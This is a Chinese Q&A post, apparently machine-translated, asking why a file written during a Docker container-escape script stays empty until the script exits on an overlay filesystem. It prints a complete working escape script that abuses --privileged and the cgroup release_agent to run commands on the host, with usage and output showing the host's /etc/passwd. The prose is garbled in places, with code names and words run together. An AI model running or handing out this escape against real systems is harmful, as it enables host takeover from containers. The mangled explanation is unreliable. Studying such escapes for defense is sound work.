在 shell 脚本退出之前,在覆盖文件系统上执行 shell 脚本期间所做的文件更改不可见?

在 shell 脚本退出之前,在覆盖文件系统上执行 shell 脚本期间所做的文件更改不可见?

我一直在尝试 Docker 的一些选项docker run ...,例如--privileged,如何可能被滥用于容器到主机的转义。

以下脚本滥用了Yieldcgroup_escape.sh的事实,它允许容器修改 cgroup 并使用cgroup 功能在主机上执行命令(请参阅--privilegedcap_sys_adminrelease_agent用法)。

问题当在 inside 调用时,不会cat /o显示任何输出,因为在脚本存在之前,cgroup_escape.sh文件大小为0 字节(不会修复结果)。脚本存在后,成功显示 的内容。/osleep 10cat /o/o

Docker 容器的根文件系统的类型为overlay

overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/O2KKX7BVYQPVTDYSEHBQGQFRHH:/var/lib/docker/overlay2/l/RGMSFCJWYRAJ3ZUF43IBFJ7UPZ,upperdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/diff,workdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/work)

有没有办法让文件更改/o在shell脚本执行时生效?

注意:此问题是否是由于文件系统具有类型所致overlay

cgroup_escape.sh:

#!/usr/bin/env bash

d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
touch /o
echo $t/c > $d/release_agent
echo -e "#!/bin/sh\n$1 > $t/o" > /c
chmod +x /c
echo 0 > $d/w/cgroup.procs
sleep 1
cat /o

用法:

docker run --privileged -ti --rm --mount type=bind,src=$(pwd),dst=/host,readonly debian:latest

root@bfbd3ddb2f2b:/# /host/cgroup_escape.sh "cat /etc/passwd"
root@bfbd3ddb2f2b:/# cat /o
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

相关内容